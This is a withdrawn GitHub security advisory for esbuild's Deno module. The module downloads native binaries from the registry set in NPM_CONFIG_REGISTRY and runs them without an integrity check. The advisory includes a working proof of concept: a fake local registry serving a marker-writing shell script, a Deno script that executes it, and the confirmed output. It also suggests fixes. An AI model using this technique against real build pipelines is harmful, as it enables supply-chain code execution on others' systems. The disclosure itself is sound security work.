---
id: GHSA-gv7w-rqvm-qjhr
title: >-
  Withdrawn Advisory: esbuild: Missing binary integrity verification in Deno
  module enables remote code execution via NPM_CONFIG_REGISTRY
summary: >-
  Withdrawn Advisory: esbuild: Missing binary integrity verification in Deno
  module enables remote code execution via NPM_CONFIG_REGISTRY
severity: high
cvss: 8.1
cwe:
  - CWE-426
  - CWE-494
vendor: esbuild
product: esbuild
ecosystem: npm
affected:
  - 'esbuild >= 0.17.0, < 0.28.1'
patched:
  - esbuild 0.28.1
published: '2026-06-12'
updated: '2026-06-17'
source: GHSA
sourceUrl: 'https://github.com/advisories/GHSA-gv7w-rqvm-qjhr'
references:
  - url: 'https://github.com/evanw/esbuild/security/advisories/GHSA-gv7w-rqvm-qjhr'
  - url: 'https://github.com/evanw/esbuild/releases/tag/v0.28.1'
  - url: 'https://github.com/advisories/GHSA-gv7w-rqvm-qjhr'
tags:
  - ghsa
  - npm
ingestedAt: '2026-07-07T15:41:58.998Z'
---

## Overview

## Withdrawn Advisory

This advisory has been withdrawn because the affected package was incorrectly identified and the [actual affected package](https://github.com/esbuild/deno-esbuild) is not in a supported ecosystem. This link is maintained to preserve external references.

## Original Description

### Summary

The esbuild Deno module (`lib/deno/mod.ts`) downloads native binary executables from an npm registry and writes them to disk with executable permissions (`0o755`) **without performing any integrity verification** (e.g., SHA-256 hash check). The Node.js equivalent (`lib/npm/node-install.ts`) includes a robust `binaryIntegrityCheck()` function that verifies SHA-256 hashes against hardcoded expected values from `package.json`, but this protection was never implemented for the Deno distribution.

When the `NPM_CONFIG_REGISTRY` environment variable is set, the Deno module constructs a download URL using this attacker-influenced value and fetches a native binary from it. Because no integrity check is performed, an attacker who can control this environment variable (common in CI/CD pipelines, shared development environments, or corporate networks with custom npm registries) can supply a malicious binary that will be downloaded, written to disk, and executed with the privileges of the Deno process, achieving full remote code execution.

### Details

**Vulnerable code path** — `lib/deno/mod.ts` lines 62–82:

```typescript
async function installFromNPM(name: string, subpath: string): Promise<string> {
  const { finalPath, finalDir } = getCachePath(name)
  try { await Deno.stat(finalPath); return finalPath } catch (e) {}

  const npmRegistry = Deno.env.get("NPM_CONFIG_REGISTRY") || "https://registry.npmjs.org"  // line 70: attacker-controlled
  const url = `${npmRegistry}/${name}/-/${name.replace("@esbuild/", "")}-${version}.tgz`     // line 71: URL uses attacker base
  const buffer = await fetch(url).then(r => r.arrayBuffer())                                  // line 72: download
  const executable = extractFileFromTarGzip(new Uint8Array(buffer), subpath)                   // line 73: extract

  await Deno.mkdir(finalDir, { recursive: true, mode: 0o700 })
  await Deno.writeFile(finalPath, executable, { mode: 0o755 })                                 // line 80: write + chmod
  return finalPath                                                                              // line 81: no hash check
}
```

**Missing protection** — The Node.js equivalent at `lib/npm/node-install.ts` lines 228–234:

```typescript
function binaryIntegrityCheck(pkg: string, subpath: string, bytes: Uint8Array): void {
  const hash = crypto.createHash('sha256').update(bytes).digest('hex')
  const key = `${pkg}/${subpath}`
  const expected = packageJSON['esbuild.binaryHashes'][key]
  if (!expected) throw new Error(`Missing hash for "${key}"`)
  if (hash !== expected) throw new Error(...)
}
```

This function is called in both the `installUsingNPM()` path (line 131) and the `downloadDirectlyFromNPM()` path (line 243), but **no equivalent exists in the Deno module**. Searching the entire git history confirms `binaryIntegrityCheck`, `binaryHashes`, `sha256`, and `hash` have never appeared in `lib/deno/mod.ts`.

**Execution flow after download:** The binary returned by `installFromNPM()` is passed to `spawn()` at line 291 of the same file:
```typescript
const child = spawn(binPath, { args: [`--service=${version}`], ... })
```

**Attack vector:** The `NPM_CONFIG_REGISTRY` environment variable is a standard npm configuration variable widely used in enterprise CI/CD pipelines to point to internal artifact repositories (Artifactory, Nexus, Verdaccio, etc.). An attacker who can inject or modify this variable in a build environment (e.g., via CI config injection, shared environment, or compromised registry) can redirect the download to a server they control and serve a trojaned native binary.

### PoC

**Prerequisites:** Deno runtime, Node.js (for fake registry)

**Step 1:** Create a fake npm registry that serves a malicious binary:

```javascript
// fake-registry.js
const http = require('http');
const zlib = require('zlib');
http.createServer((req, res) => {
  const fakeBin = '#!/bin/sh\necho PWNED > /tmp/deno-esbuild-rce-proof.txt\necho fake-esbuild-0.28.0\n';
  // ... build tar.gz with fake binary as package/bin/esbuild ...
  res.writeHead(200, {'Content-Length': gz.length});
  res.end(gz);
}).listen(19876, () => console.log('READY'));
```

**Step 2:** Run the PoC with `NPM_CONFIG_REGISTRY` pointing to the fake server:

```typescript
// poc.ts — mimics lib/deno/mod.ts installFromNPM code path
const npmRegistry = Deno.env.get("NPM_CONFIG_REGISTRY") || "https://registry.npmjs.org";
const url = `${npmRegistry}/@esbuild/linux-x64/-/linux-x64-0.28.0.tgz`;
const buffer = new Uint8Array(await (await fetch(url)).arrayBuffer());
// ... gzip decompress + tar extraction (same as extractFileFromTarGzip) ...
await Deno.writeFile("/tmp/downloaded-binary", executable, { mode: 0o755 });
// *** NO integrity check performed ***
const cmd = new Deno.Command("/tmp/downloaded-binary");
await cmd.output(); // RCE: executes attacker-controlled binary
```

**Step 3:** Run:
```bash
node fake-registry.js &
NPM_CONFIG_REGISTRY="http://127.0.0.1:19876" deno run --allow-all poc.ts
cat /tmp/deno-esbuild-rce-proof.txt  # Output: PWNED
```

**Observed output in this environment:**
```
Download URL: http://127.0.0.1:19876/@esbuild/linux-x64/-/linux-x64-0.28.0.tgz
Binary written to: /tmp/deno-poc/downloaded-binary
Binary content: #!/bin/sh
echo PWNED > /tmp/deno-esbuild-rce-proof.txt
echo fake-esbuild-0.28.0

Executing downloaded binary...
stdout: fake-esbuild-0.28.0

*** RCE CONFIRMED ***
Marker file content: PWNED
```

**Build-local verification — using the actual built `deno/mod.js`:**

The esbuild Deno module was built from source (`node scripts/esbuild.js ./esbuild --deno`) producing `deno/mod.js`. The fake registry test was then re-run using the **actual module** via `import * as esbuild from "file:///path/to/deno/mod.js"`, triggering the real `installFromNPM()` → `installFromNPM()` code path:

```
[TEST] esbuild Deno module loaded
[TEST] esbuild version: 0.28.0

[TEST] *** RCE VIA ACTUAL MODULE CONFIRMED ***
[TEST] Marker file content: VULN-CONFIRMED
[TEST] The actual built deno/mod.js downloaded and executed
[TEST] a malicious binary from the fake registry WITHOUT
[TEST] performing any SHA-256 integrity verification.
```

The malicious binary was cached at `~/.cache/esbuild/bin/@esbuild-linux-x64@0.28.0` with contents:
```
#!/bin/sh
echo "VULN-CONFIRMED" > /tmp/esbuild-deno-verify-rce.txt
echo "0.28.0"
```

Built-in Deno module (`deno/mod.js`) confirmed to contain `NPM_CONFIG_REGISTRY` usage (line 1900) and zero references to `binaryIntegrityCheck`, `binaryHashes`, `sha256`, or `crypto.createHash`.

**Negative/control case — Node.js rejects the same fake binary:**
```
Fake binary SHA-256: d85234b9bac94fcda135d112f0c23d9c31bbb14a5502a37e743a3cf2a3750fa1
Expected hash:       aafacdf135322bf47c882a4ea4db33d0375583f5b9c3fd2d4e12258e470568be
Hashes match: false
=> Node.js path REJECTS the fake binary (hash mismatch)
=> Deno path ACCEPTS it without any check
```

### Impact

An attacker who can control the `NPM_CONFIG_REGISTRY` environment variable in a Deno project using esbuild can achieve **arbitrary code execution** with the privileges of the Deno process. This is particularly relevant in:

- **CI/CD pipelines** where `NPM_CONFIG_REGISTRY` is commonly set to point to internal artifact repositories
- **Shared development environments** where environment variables may be inherited from parent processes
- **Corporate networks** where npm registry mirrors are configured via this environment variable

The attacker does not need to compromise the npm registry itself — only the environment variable or network path between the Deno process and the registry.

### Suggested remediation

1. **Add SHA-256 integrity verification to the Deno module**, mirroring the existing `binaryIntegrityCheck()` function from `lib/npm/node-install.ts`:

```typescript
// In lib/deno/mod.ts, after extracting the binary:
const hashBuffer = await crypto.subtle.digest("SHA-256", executable);
const hash = Array.from(new Uint8Array(hashBuffer)).map(b => b.toString(16).padStart(2, '0')).join('');
const key = `${name}/${subpath}`;
const expected = EXPECTED_HASHES[key]; // Import from a shared hash manifest
if (hash !== expected) throw new Error(`Binary integrity check failed for "${key}"`);
```

2. **Validate the `NPM_CONFIG_REGISTRY` URL** to ensure it uses HTTPS (or at minimum warn about HTTP):

```typescript
const npmRegistry = Deno.env.get("NPM_CONFIG_REGISTRY") || "https://registry.npmjs.org";
if (npmRegistry.startsWith("http://")) {
  console.warn(`[esbuild] Warning: NPM_CONFIG_REGISTRY uses insecure HTTP`);
}
```

3. **Add `ESBUILD_BINARY_PATH` validation** in the Deno module, mirroring the `isValidBinaryPath()` check from `lib/npm/node-platform.ts`.

**Regression test suggestion:** Add a test that verifies the Deno download path rejects a binary with a mismatched SHA-256 hash.

## Affected packages

- `esbuild >= 0.17.0, < 0.28.1`

## Remediation

Upgrade to a patched release:

- `esbuild 0.28.1`
